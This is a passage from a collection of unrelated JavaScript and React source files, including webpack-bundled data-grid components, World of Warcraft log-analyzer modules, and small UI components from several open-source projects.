var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var React = __webpack_require__(2);
var EditorBase = __webpack_require__(27);
var SimpleTextEditor = function (_EditorBase) {
_inherits(SimpleTextEditor, _EditorBase);
function SimpleTextEditor() {
_classCallCheck(this, SimpleTextEditor);
return _possibleConstructorReturn(this, Object.getPrototypeOf(SimpleTextEditor).apply(this, arguments));
}
_createClass(SimpleTextEditor, [{
key: 'render',
value: function render() {
return React.createElement('input', { ref: 'input', type: 'text', onBlur: this.props.onBlur, className: 'form-control', defaultValue: this.props.value });
}
}]);
return SimpleTextEditor;
}(EditorBase);
module.exports = SimpleTextEditor;
/***/ },
/* 27 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var React = __webpack_require__(2);
var ReactDOM = __webpack_require__(14);
var ExcelColumn = __webpack_require__(15);
var EditorBase = function (_React$Component) {
_inherits(EditorBase, _React$Component);
function EditorBase() {
_classCallCheck(this, EditorBase);
return _possibleConstructorReturn(this, Object.getPrototypeOf(EditorBase).apply(this, arguments));
}
_createClass(EditorBase, [{
key: 'getStyle',
value: function getStyle() {
return {
width: '100%'
};
}
}, {
key: 'getValue',
value: function getValue() {
var updated = {};
updated[this.props.column.key] = this.getInputNode().value;
return updated;
}
}, {
key: 'getInputNode',
value: function getInputNode() {
var domNode = ReactDOM.findDOMNode(this);
if (domNode.tagName === 'INPUT') {
return domNode;
}
return domNode.querySelector('input:not([type=hidden])');
}
}, {
key: 'inheritContainerStyles',
value: function inheritContainerStyles() {
return true;
}
}]);
return EditorBase;
}(React.Component);
EditorBase.propTypes = {
onKeyDown: React.PropTypes.func.isRequired,
value: React.PropTypes.any.isRequired,
onBlur: React.PropTypes.func.isRequired,
column: React.PropTypes.shape(ExcelColumn).isRequired,
commit: React.PropTypes.func.isRequired
};
module.exports = EditorBase;
/***/ },
/* 28 */
/***/ function(module, exports) {
'use strict';
var isFunction = function isFunction(functionToCheck) {
var getType = {};
return functionToCheck && getType.toString.call(functionToCheck) === '[object Function]';
};
module.exports = isFunction;
/***/ },
/* 29 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var PropTypes = __webpack_require__(2).PropTypes;
module.exports = {
selected: PropTypes.object.isRequired,
copied: PropTypes.object,
dragged: PropTypes.object,
onCellClick: PropTypes.func.isRequired,
onCellDoubleClick: PropTypes.func.isRequired,
onCommit: PropTypes.func.isRequired,
onCommitCancel: PropTypes.func.isRequired,
handleDragEnterRow: PropTypes.func.isRequired,
handleTerminateDrag: PropTypes.func.isRequired
};
/***/ },
/* 30 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var React = __webpack_require__(2);
var SimpleCellFormatter = React.createClass({
displayName: 'SimpleCellFormatter',
propTypes: {
value: React.PropTypes.oneOfType([React.PropTypes.string, React.PropTypes.number, React.PropTypes.object, React.PropTypes.bool]).isRequired
},
shouldComponentUpdate: function shouldComponentUpdate(nextProps) {
return nextProps.value !== this.props.value;
},
render: function render() {
return React.createElement(
'span',
null,
this.props.value
);
}
});
module.exports = SimpleCellFormatter;
/***/ },
/* 31 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var React = __webpack_require__(2);
var ReactDOM = __webpack_require__(14);
var DOMMetrics = __webpack_require__(32);
var min = Math.min;
var max = Math.max;
var floor = Math.floor;
var ceil = Math.ceil;
module.exports = {
mixins: [DOMMetrics.MetricsMixin],
DOMMetrics: {
viewportHeight: function viewportHeight() {
return ReactDOM.findDOMNode(this).offsetHeight;
}
},
propTypes: {
rowHeight: React.PropTypes.number,
rowsCount: React.PropTypes.number.isRequired
},
getDefaultProps: function getDefaultProps() {
return {
rowHeight: 30
};
},
getInitialState: function getInitialState() {
return this.getGridState(this.props);
},
getGridState: function getGridState(props) {
var renderedRowsCount = ceil((props.minHeight - props.rowHeight) / props.rowHeight);
var totalRowCount = min(renderedRowsCount * 2, props.rowsCount);
return {
displayStart: 0,
displayEnd: totalRowCount,
height: props.minHeight,
scrollTop: 0,
scrollLeft: 0
};
},
updateScroll: function updateScroll(scrollTop, scrollLeft, height, rowHeight, length) {
var renderedRowsCount = ceil(height / rowHeight);
var visibleStart = floor(scrollTop / rowHeight);
var visibleEnd = min(visibleStart + renderedRowsCount, length);
var displayStart = max(0, visibleStart - renderedRowsCount * 2);
var displayEnd = min(visibleStart + renderedRowsCount * 2, length);
var nextScrollState = {
visibleStart: visibleStart,
visibleEnd: visibleEnd,
displayStart: displayStart,
displayEnd: displayEnd,
height: height,
scrollTop: scrollTop,
scrollLeft: scrollLeft
};
this.setState(nextScrollState);
},
metricsUpdated: function metricsUpdated() {
var height = this.DOMMetrics.viewportHeight();
if (height) {
this.updateScroll(this.state.scrollTop, this.state.scrollLeft, height, this.props.rowHeight, this.props.rowsCount);
}
},
componentWillReceiveProps: function componentWillReceiveProps(nextProps) {
if (this.props.rowHeight !== nextProps.rowHeight || this.props.minHeight !== nextProps.minHeight) {
this.setState(this.getGridState(nextProps));
} else if (this.props.rowsCount !== nextProps.rowsCount) {
this.updateScroll(this.state.scrollTop, this.state.scrollLeft, this.state.height, nextProps.rowHeight, nextProps.rowsCount);
}
}
};
/***/ },
/* 32 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var React = __webpack_require__(2);
var shallowCloneObject = __webpack_require__(6);
var contextTypes = {
metricsComputator: React.PropTypes.object
};
var MetricsComputatorMixin = {
childContextTypes: contextTypes,
getChildContext: function getChildContext() {
return { metricsComputator: this };
},
getMetricImpl: function getMetricImpl(name) {
return this._DOMMetrics.metrics[name].value;
},
registerMetricsImpl: function registerMetricsImpl(component, metrics) {
var getters = {};
var s = this._DOMMetrics;
for (var name in metrics) {
if (s.metrics[name] !== undefined) {
throw new Error('DOM metric ' + name + ' is already defined');
}
s.metrics[name] = { component: component, computator: metrics[name].bind(component) };
getters[name] = this.getMetricImpl.bind(null, name);
}
if (s.components.indexOf(component) === -1) {
s.components.push(component);
}
return getters;
},
unregisterMetricsFor: function unregisterMetricsFor(component) {
var s = this._DOMMetrics;
var idx = s.components.indexOf(component);
if (idx > -1) {
s.components.splice(idx, 1);
var name = undefined;
var metricsToDelete = {};
for (name in s.metrics) {
if (s.metrics[name].component === component) {
metricsToDelete[name] = true;
}
}
for (name in metricsToDelete) {
if (metricsToDelete.hasOwnProperty(name)) {
delete s.metrics[name];
}
}
}
},
updateMetrics: function updateMetrics() {
var s = this._DOMMetrics;
var needUpdate = false;
for (var name in s.metrics) {
if (!s.metrics.hasOwnProperty(name)) continue;
var newMetric = s.metrics[name].computator();
if (newMetric !== s.metrics[name].value) {
needUpdate = true;
}
s.metrics[name].value = newMetric;
}
if (needUpdate) {
for (var i = 0, len = s.components.length; i < len; i++) {
if (s.components[i].metricsUpdated) {
s.components[i].metricsUpdated();
}
}
}
},
componentWillMount: function componentWillMount() {
this._DOMMetrics = {
metrics: {},
components: []
};
},
componentDidMount: function componentDidMount() {
if (window.addEventListener) {
window.addEventListener('resize', this.updateMetrics);
} else {
window.attachEvent('resize', this.updateMetrics);
}
this.updateMetrics();
},
componentWillUnmount: function componentWillUnmount() {
window.removeEventListener('resize', this.updateMetrics);
}
};
var MetricsMixin = {
contextTypes: contextTypes,
componentWillMount: function componentWillMount() {
if (this.DOMMetrics) {
this._DOMMetricsDefs = shallowCloneObject(this.DOMMetrics);
this.DOMMetrics = {};
for (var name in this._DOMMetricsDefs) {
if (!this._DOMMetricsDefs.hasOwnProperty(name)) continue;
this.DOMMetrics[name] = function () {};
}
}
},
componentDidMount: function componentDidMount() {
if (this.DOMMetrics) {
this.DOMMetrics = this.registerMetrics(this._DOMMetricsDefs);
}
},
componentWillUnmount: function componentWillUnmount() {
if (!this.registerMetricsImpl) {
return this.context.metricsComputator.unregisterMetricsFor(this);
}
if (this.hasOwnProperty('DOMMetrics')) {
delete this.DOMMetrics;
}
},
registerMetrics: function registerMetrics(metrics) {
if (this.registerMetricsImpl) {
return this.registerMetricsImpl(this, metrics);
}
return this.context.metricsComputator.registerMetricsImpl(this, metrics);
},
getMetric: function getMetric(name) {
if (this.getMetricImpl) {
return this.getMetricImpl(name);
}
return this.context.metricsComputator.getMetricImpl(name);
}
};
module.exports = {
MetricsComputatorMixin: MetricsComputatorMixin,
MetricsMixin: MetricsMixin
};
/***/ },
/* 33 */
/***/ function(module, exports) {
"use strict";
module.exports = {
componentDidMount: function componentDidMount() {
this._scrollLeft = this.refs.viewport ? this.refs.viewport.getScroll().scrollLeft : 0;
this._onScroll();
},
componentDidUpdate: function componentDidUpdate() {
this._onScroll();
},
componentWillMount: function componentWillMount() {
this._scrollLeft = undefined;
},
componentWillUnmount: function componentWillUnmount() {
this._scrollLeft = undefined;
},
onScroll: function onScroll(props) {
if (this._scrollLeft !== props.scrollLeft) {
this._scrollLeft = props.scrollLeft;
this._onScroll();
}
},
_onScroll: function _onScroll() {
if (this._scrollLeft !== undefined) {
this.refs.header.setScrollLeft(this._scrollLeft);
if (this.refs.viewport) {
this.refs.viewport.setScrollLeft(this._scrollLeft);
}
}
}
};
/***/ },
/* 34 */
/***/ function(module, exports, __webpack_require__) {
"use strict";
var React = __webpack_require__(2);
var CheckboxEditor = React.createClass({
displayName: "CheckboxEditor",
propTypes: {
value: React.PropTypes.bool.isRequired,
rowIdx: React.PropTypes.number.isRequired,
column: React.PropTypes.shape({
key: React.PropTypes.string.isRequired,
onCellChange: React.PropTypes.func.isRequired
}).isRequired
},
handleChange: function handleChange(e) {
this.props.column.onCellChange(this.props.rowIdx, this.props.column.key, e);
},
render: function render() {
var checked = this.props.value != null ? this.props.value : false;
return React.createElement("input", { className: "react-grid-CheckBox", type: "checkbox", checked: checked, onClick: this.handleChange, onChange: this.handleChange });
}
});
module.exports = CheckboxEditor;
/***/ },
/* 35 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var React = __webpack_require__(2);
var ExcelColumn = __webpack_require__(15);
var FilterableHeaderCell = React.createClass({
displayName: 'FilterableHeaderCell',
propTypes: {
onChange: React.PropTypes.func.isRequired,
column: React.PropTypes.shape(ExcelColumn)
},
getInitialState: function getInitialState() {
return { filterTerm: '' };
},
handleChange: function handleChange(e) {
var val = e.target.value;
this.setState({ filterTerm: val });
this.props.onChange({ filterTerm: val, columnKey: this.props.column.key });
},
renderInput: function renderInput() {
if (this.props.column.filterable === false) {
return React.createElement('span', null);
}
var inputKey = 'header-filter-' + this.props.column.key;
return React.createElement('input', { key: inputKey, type: 'text', className: 'form-control input-sm', placeholder: 'Search', value: this.state.filterTerm, onChange: this.handleChange });
},
render: function render() {
return React.createElement(
'div',
null,
React.createElement(
'div',
{ className: 'form-group' },
this.renderInput()
)
);
}
});
module.exports = FilterableHeaderCell;
/***/ },
/* 36 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var _reactDom = __webpack_require__(14);
var _reactDom2 = _interopRequireDefault(_reactDom);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
var ColumnMetrics = __webpack_require__(7);
var DOMMetrics = __webpack_require__(32);
Object.assign = __webpack_require__(37);
var PropTypes = __webpack_require__(2).PropTypes;
var ColumnUtils = __webpack_require__(9);
var Column = function Column() {
_classCallCheck(this, Column);
};
module.exports = {
mixins: [DOMMetrics.MetricsMixin],
propTypes: {
columns: PropTypes.arrayOf(Column),
minColumnWidth: PropTypes.number,
columnEquality: PropTypes.func
},
DOMMetrics: {
gridWidth: function gridWidth() {
return _reactDom2.default.findDOMNode(this).parentElement.offsetWidth;
}
},
getDefaultProps: function getDefaultProps() {
return {
minColumnWidth: 80,
columnEquality: ColumnMetrics.sameColumn
};
},
componentWillMount: function componentWillMount() {
this._mounted = true;
},
componentWillReceiveProps: function componentWillReceiveProps(nextProps) {
if (nextProps.columns) {
if (!ColumnMetrics.sameColumns(this.props.columns, nextProps.columns, this.props.columnEquality) || nextProps.minWidth !== this.props.minWidth) {
var columnMetrics = this.createColumnMetrics(nextProps);
this.setState({ columnMetrics: columnMetrics });
}
}
},
getTotalWidth: function getTotalWidth() {
var totalWidth = 0;
if (this._mounted) {
totalWidth = this.DOMMetrics.gridWidth();
} else {
totalWidth = ColumnUtils.getSize(this.props.columns) * this.props.minColumnWidth;
}
return totalWidth;
},
getColumnMetricsType: function getColumnMetricsType(metrics) {
var totalWidth = metrics.totalWidth || this.getTotalWidth();
var currentMetrics = {
columns: metrics.columns,
totalWidth: totalWidth,
minColumnWidth: metrics.minColumnWidth
};
var updatedMetrics = ColumnMetrics.recalculate(currentMetrics);
return updatedMetrics;
},
getColumn: function getColumn(idx) {
var columns = this.state.columnMetrics.columns;
if (Array.isArray(columns)) {
return columns[idx];
} else if (typeof Immutable !== 'undefined') {
return columns.get(idx);
}
},
getSize: function getSize() {
var columns = this.state.columnMetrics.columns;
if (Array.isArray(columns)) {
return columns.length;
} else if (typeof Immutable !== 'undefined') {
return columns.size;
}
},
metricsUpdated: function metricsUpdated() {
var columnMetrics = this.createColumnMetrics();
this.setState({ columnMetrics: columnMetrics });
},
createColumnMetrics: function createColumnMetrics() {
var props = arguments.length <= 0 || arguments[0] === undefined ? this.props : arguments[0];
var gridColumns = this.setupGridColumns(props);
return this.getColumnMetricsType({
columns: gridColumns,
minColumnWidth: this.props.minColumnWidth,
totalWidth: props.minWidth
});
},
onColumnResize: function onColumnResize(index, width) {
var columnMetrics = ColumnMetrics.resizeColumn(this.state.columnMetrics, index, width);
this.setState({ columnMetrics: columnMetrics });
}
};
/***/ },
/* 37 */
/***/ function(module, exports) {
'use strict';
function ToObject(val) {
if (val == null) {
throw new TypeError('Object.assign cannot be called with null or undefined');
}
return Object(val);
}
module.exports = Object.assign || function (target, source) {
var from;
var keys;
var to = ToObject(target);
for (var s = 1; s < arguments.length; s++) {
from = arguments[s];
keys = Object.keys(Object(from));
for (var i = 0; i < keys.length; i++) {
to[keys[i]] = from[keys[i]];
}
}
return to;
};
/***/ },
/* 38 */
/***/ function(module, exports) {
'use strict';
var RowUtils = {
get: function get(row, property) {
if (typeof row.get === 'function') {
return row.get(property);
}
return row[property];
}
};
module.exports = RowUtils;
/***/ }
/******/ ])
});
;
|
src/parser/shaman/shared/spells/AstralShift.js
|
fyruna/WoWAnalyzer
|
import React from 'react';
import SPELLS from 'common/SPELLS';
import SpellIcon from 'common/SpellIcon';
import { formatThousands, formatNumber } from 'common/format';
import StatisticBox, { STATISTIC_ORDER } from 'interface/others/StatisticBox';
import Analyzer from 'parser/core/Analyzer';
const ASTRAL_SHIFT_DR = 0.4;
class AstralShift extends Analyzer {
damageReduced = 0;
on_toPlayer_damage(event) {
if (!this.selectedCombatant.hasBuff(SPELLS.ASTRAL_SHIFT.id)) {
return;
}
const damageTaken = event.amount + (event.absorbed || 0);
this.damageReduced += damageTaken / (1 - (ASTRAL_SHIFT_DR)) * (ASTRAL_SHIFT_DR);
}
get totalDrps() {
return this.damageReduced / this.owner.fightDuration * 1000;
}
statistic() {
return (
<StatisticBox
position={STATISTIC_ORDER.OPTIONAL()}
icon={<SpellIcon id={SPELLS.ASTRAL_SHIFT.id} />}
value={`≈${formatNumber(this.totalDrps)} DRPS`}
label="Estimated damage reduced"
tooltip={(
<>
The total estimated damage reduced was {formatThousands(this.damageReduced)}.<br /><br />
This is the lowest possible value. This value is pretty accurate for this log if you are looking at the actual gain over not having Astral Shift bonus at all, but the gain may end up higher when taking interactions with other damage reductions into account.
</>
)}
/>
);
}
}
export default AstralShift;
|
dispatch/static/manager/src/js/components/ItemList/ItemListItemPlaceholder.js
|
ubyssey/dispatch
|
import React from 'react'
import PlaceholderBar from '../PlaceholderBar'
export default function ItemListItemPlaceholder() {
return (
<li className='c-item-list__item'>
<div className='c-item-list__item__cell c-item-list__item__cell--checkbox'>
<input
type='checkbox'
disabled={true}
checked={false} />
</div>
<div className='c-item-list__item__cell'>
<PlaceholderBar />
</div>
</li>
)
}
|
src/components/safety/next-video.js
|
mozilla/advocacy.mozilla.org
|
import React from 'react';
import galleryData from './gallery-data.js';
var Router = require(`react-router`);
var Link = Router.Link;
var PosterImage = React.createClass({
contextTypes: {
intl: React.PropTypes.object
},
onClick: function(e) {
window.scrollTo(0, 0);
e.stopPropagation();
if (this.props.onClick) {
this.props.onClick();
}
},
render: function() {
var locale = this.context.intl.locale;
var nextIndex = this.props.itemIndex + 1;
var nextVideo = galleryData[nextIndex];
if (!nextVideo) {
nextVideo = galleryData[0];
}
return (
<span className="next-video-container">
<Link onClick={this.onClick} to={"/" + locale + "/safety/" + nextVideo.slug}>
<span className="next-video">
<img src={nextVideo.poster}/>
<span className="next-tip-copy">
<span className="black-copy">next tip</span>
<span>{nextVideo.title}</span>
</span>
</span>
</Link>
</span>
);
}
});
module.exports = PosterImage;
|
src/interface/SpecListing/index.js
|
fyruna/WoWAnalyzer
|
import React from 'react';
import DocumentTitle from 'interface/common/DocumentTitle';
import AVAILABLE_CONFIGS from 'parser/AVAILABLE_CONFIGS';
import './SpecListing.css';
import Spec from './Spec';
class SpecListing extends React.PureComponent {
render() {
return (
<>
<DocumentTitle title="Specializations" />
<div>
<h1>Specializations</h1>
</div>
<small>Click any specialization to view an example report for that spec.</small>
<div className="spec-listing">
{AVAILABLE_CONFIGS
.sort((a, b) => {
if (a.spec.className < b.spec.className) {
return -1;
} else if (a.spec.className > b.spec.className) {
return 1;
}
return a.spec.id - b.spec.id;
})
.map(config => <Spec key={config.spec.id} {...config} />)}
</div>
</>
);
}
}
export default SpecListing;
|
src/parser/rogue/subtlety/modules/core/ComboPoints.js
|
fyruna/WoWAnalyzer
|
import React from 'react';
import Analyzer from 'parser/core/Analyzer';
import SPELLS from 'common/SPELLS/index';
import SpellLink from 'common/SpellLink';
import resourceSuggest from 'parser/shared/modules/resourcetracker/ResourceSuggest';
import ComboPointTracker from '../../../shared/resources/ComboPointTracker';
class ComboPoints extends Analyzer {
static dependencies = {
comboPointTracker: ComboPointTracker,
};
makeExtraSuggestion(spell) {
return <>Avoid wasting combo points when casting <SpellLink id={spell.id} /> </>;
}
get comboPointThresholds() {
return {
actual: this.comboPointTracker.wasted / this.comboPointTracker.generated,
isGreaterThan: {
minor: 0.05,
average: 0.1,
major: 0.15,
},
style: 'percentage',
};
}
suggestions(when) {
resourceSuggest(when, this.comboPointTracker, {
spell: SPELLS.MARKED_FOR_DEATH_TALENT, // 5 CP
minor: 0,
avg: 0.05,
major: 0.1,
extraSuggestion: this.makeExtraSuggestion(SPELLS.MARKED_FOR_DEATH_TALENT),
});
resourceSuggest(when, this.comboPointTracker, {
spell: SPELLS.BACKSTAB, // 1 CP
minor: 0.05,
avg: 0.10,
major: 0.15,
extraSuggestion: this.makeExtraSuggestion(SPELLS.BACKSTAB),
});
resourceSuggest(when, this.comboPointTracker, {
spell: SPELLS.GLOOMBLADE_TALENT, // 1 CP
minor: 0.05,
avg: 0.10,
major: 0.15,
extraSuggestion: this.makeExtraSuggestion(SPELLS.GLOOMBLADE_TALENT),
});
resourceSuggest(when, this.comboPointTracker, {
spell: SPELLS.SHADOWSTRIKE, // 2 CP
minor: 0.05,
avg: 0.10,
major: 0.15,
extraSuggestion: this.makeExtraSuggestion(SPELLS.SHADOWSTRIKE),
});
resourceSuggest(when, this.comboPointTracker, {
spell: SPELLS.SHURIKEN_STORM, // 1 CP per target hit
minor: 0.1,
avg: 0.2,
major: 0.3,
extraSuggestion: this.makeExtraSuggestion(SPELLS.SHURIKEN_STORM),
});
resourceSuggest(when, this.comboPointTracker, {
spell: SPELLS.SHURIKEN_TOSS, // 1 CP
minor: 0.05,
avg: 0.10,
major: 0.15,
extraSuggestion: this.makeExtraSuggestion(SPELLS.SHURIKEN_TOSS),
});
resourceSuggest(when, this.comboPointTracker, {
spell: SPELLS.SHADOW_TECHNIQUES,
minor: 0.1,
avg: 0.2,
major: 0.3,
extraSuggestion: <span> Use a weak Aura to track <SpellLink id={SPELLS.SHADOW_TECHNIQUES.id} />. This is an advanced suggestion and should not be addressed first. </span>,
});
resourceSuggest(when, this.comboPointTracker, {
spell: SPELLS.CHEAP_SHOT, // 2 CP
minor: 0,
avg: 0.1,
major: 0.2,
extraSuggestion: this.makeExtraSuggestion(SPELLS.CHEAP_SHOT),
});
}
}
export default ComboPoints;
|
src/components/Image.js
|
aalselius/Test
|
import React from 'react';
const Image = (props) => {
return (
<div className="image">
<img src={props.url} alt="Giphy" className="giphImage"/>
</div>
);
}
export default Image;
|
node_modules/react-native-vector-icons/lib/icon-button.js
|
RahulDesai92/PHR
|
import isString from 'lodash/isString';
import omit from 'lodash/omit';
import pick from 'lodash/pick';
import React, { Component } from 'react';
import PropTypes from 'prop-types';
import { StyleSheet, Text, TouchableHighlight, View } from './react-native';
const styles = StyleSheet.create({
container: {
flexDirection: 'row',
justifyContent: 'flex-start',
alignItems: 'center',
padding: 8,
},
touchable: {
overflow: 'hidden',
},
icon: {
marginRight: 10,
},
text: {
fontWeight: '600',
backgroundColor: 'transparent',
},
});
const IOS7_BLUE = '#007AFF';
export default function createIconButtonComponent(Icon) {
return class IconButton extends Component {
static propTypes = {
backgroundColor: PropTypes.string,
borderRadius: PropTypes.number,
color: PropTypes.string,
size: PropTypes.number,
iconStyle: PropTypes.any, // eslint-disable-line react/forbid-prop-types
style: PropTypes.any, // eslint-disable-line react/forbid-prop-types
children: PropTypes.node,
};
static defaultProps = {
backgroundColor: IOS7_BLUE,
borderRadius: 5,
color: 'white',
size: 20,
};
render() {
const { style, iconStyle, children, ...restProps } = this.props;
const iconProps = pick(
restProps,
Object.keys(Text.propTypes),
'style',
'name',
'size',
'color'
);
const touchableProps = pick(
restProps,
Object.keys(TouchableHighlight.propTypes)
);
const props = omit(
restProps,
Object.keys(iconProps),
Object.keys(touchableProps),
'iconStyle',
'borderRadius',
'backgroundColor'
);
iconProps.style = iconStyle ? [styles.icon, iconStyle] : styles.icon;
const colorStyle = pick(this.props, 'color');
const blockStyle = pick(this.props, 'backgroundColor', 'borderRadius');
return (
<TouchableHighlight
style={[styles.touchable, blockStyle]}
{...touchableProps}
>
<View style={[styles.container, blockStyle, style]} {...props}>
<Icon {...iconProps} />
{isString(children)
? <Text style={[styles.text, colorStyle]}>
{children}
</Text>
: children}
</View>
</TouchableHighlight>
);
}
};
}
|
examples/todo/js/components/TodoListFooter.js
|
almasakchabayev/relay
|
/**
* This file provided by Facebook is for non-commercial testing and evaluation
* purposes only. Facebook reserves all rights not expressly granted.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* FACEBOOK BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
* ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
// IndexLink isn't exported in main package on React Router 1.0.0-rc1.
import IndexLink from 'react-router/lib/IndexLink';
import Link from 'react-router/lib/Link';
import RemoveCompletedTodosMutation from '../mutations/RemoveCompletedTodosMutation';
import React from 'react';
import Relay from 'react-relay';
class TodoListFooter extends React.Component {
_handleRemoveCompletedTodosClick = () => {
Relay.Store.update(
new RemoveCompletedTodosMutation({
todos: this.props.viewer.todos,
viewer: this.props.viewer,
})
);
}
render() {
var numTodos = this.props.viewer.totalCount;
var numCompletedTodos = this.props.viewer.completedCount;
return (
<footer className="footer">
<span className="todo-count">
<strong>{numTodos}</strong> item{numTodos === 1 ? '' : 's'} left
</span>
<ul className="filters">
<li>
<IndexLink to="/" activeClassName="selected">All</IndexLink>
</li>
<li>
<Link to="/active" activeClassName="selected">Active</Link>
</li>
<li>
<Link to="/completed" activeClassName="selected">Completed</Link>
</li>
</ul>
{numCompletedTodos > 0 &&
<button
className="clear-completed"
onClick={this._handleRemoveCompletedTodosClick}>
Clear completed
</button>
}
</footer>
);
}
}
export default Relay.createContainer(TodoListFooter, {
prepareVariables() {
return {
limit: Number.MAX_SAFE_INTEGER || 9007199254740991,
};
},
fragments: {
viewer: () => Relay.QL`
fragment on User {
completedCount,
todos(status: "completed", first: $limit) {
${RemoveCompletedTodosMutation.getFragment('todos')},
},
totalCount,
${RemoveCompletedTodosMutation.getFragment('viewer')},
}
`,
},
});
|
packages/components/src/VirtualizedList/CellMappedData/CellMappedData.component.js
|
Talend/ui
|
import React from 'react';
import PropTypes from 'prop-types';
import { defaultColumnConfiguration } from '../Content.component';
const { cellRenderer: DefaultCellRenderer } = defaultColumnConfiguration;
function CellMappedData(props) {
const { cellData, columnData } = props;
const { valuesMap, separator = ', ', ...restColumnData } = columnData;
let cellContent;
const getMappedValue = value => {
const mappedValue = valuesMap[value] || value;
return mappedValue !== undefined ? mappedValue : null;
};
if (Array.isArray(cellData)) {
cellContent = cellData
.map(getMappedValue)
.filter(value => value !== undefined && value !== null && value !== '')
.sort((a, b) => a.toString().localeCompare(b.toString()))
.join(separator);
} else {
cellContent = getMappedValue(cellData);
}
return <DefaultCellRenderer {...props} cellData={cellContent} columnData={restColumnData} />;
}
CellMappedData.propTypes = {
cellData: PropTypes.oneOfType([PropTypes.string, PropTypes.array]),
columnData: PropTypes.shape({
valuesMap: PropTypes.object,
separator: PropTypes.string,
}),
};
export default CellMappedData;
|
examples/counter/containers/CounterApp.js
|
wbecker/redux
|
import React, { Component } from 'react';
import { bindActionCreators } from 'redux';
import { connect } from 'redux/react';
import Counter from '../components/Counter';
import * as CounterActions from '../actions/CounterActions';
@connect(state => ({
counter: state.counter
}))
export default class CounterApp extends Component {
render() {
const { counter, dispatch } = this.props;
return (
<Counter counter={counter}
{...bindActionCreators(CounterActions, dispatch)} />
);
}
}
|
node_modules/react-router/es6/RouteContext.js
|
SlateRobotics/slate-website
|
'use strict';
import warning from './routerWarning';
import React from 'react';
var object = React.PropTypes.object;
/**
* The RouteContext mixin provides a convenient way for route
* components to set the route in context. This is needed for
* routes that render elements that want to use the Lifecycle
* mixin to prevent transitions.
*/
var RouteContext = {
propTypes: {
route: object.isRequired
},
childContextTypes: {
route: object.isRequired
},
getChildContext: function getChildContext() {
return {
route: this.props.route
};
},
componentWillMount: function componentWillMount() {
process.env.NODE_ENV !== 'production' ? warning(false, 'The `RouteContext` mixin is deprecated. You can provide `this.props.route` on context with your own `contextTypes`. http://tiny.cc/router-routecontextmixin') : undefined;
}
};
export default RouteContext;
|
app/components/chat/NicknameList.js
|
irc-moo/electron-client
|
import React from 'react'
export default (props) => {
return (
<div>
</div>
)
}
type Props = {
}
const defaultProps = {}
|
src/browser/app/App.js
|
sikhote/davidsinclair
|
// @flow
import type { State } from '../../common/types';
import * as themes from '../themes';
import Container from './Container';
import Header from './Header';
import Helmet from 'react-helmet';
import React from 'react';
import common from '../../common/app/common';
import favicon from '../../common/app/favicon';
import { Baseline } from '../components';
import { Box } from '../../common/components';
import { compose } from 'ramda';
import { connect } from 'react-redux';
type AppProps = {
children: any,
currentLocale: string,
};
const App = (
{
children,
currentLocale,
}: AppProps,
) => (
<Baseline>
<Helmet
htmlAttributes={{ lang: currentLocale }}
meta={[
// v4-alpha.getbootstrap.com/getting-started/introduction/#starter-template
{ charset: 'utf-8' },
{
name: 'viewport',
content: 'width=device-width, initial-scale=1, shrink-to-fit=no',
},
{ 'http-equiv': 'x-ua-compatible', content: 'ie=edge' },
...favicon.meta,
]}
link={[...favicon.link]}
/>
<Container>
<Header />
<Box flex={1}>
{children}
</Box>
</Container>
</Baseline>
);
export default compose(
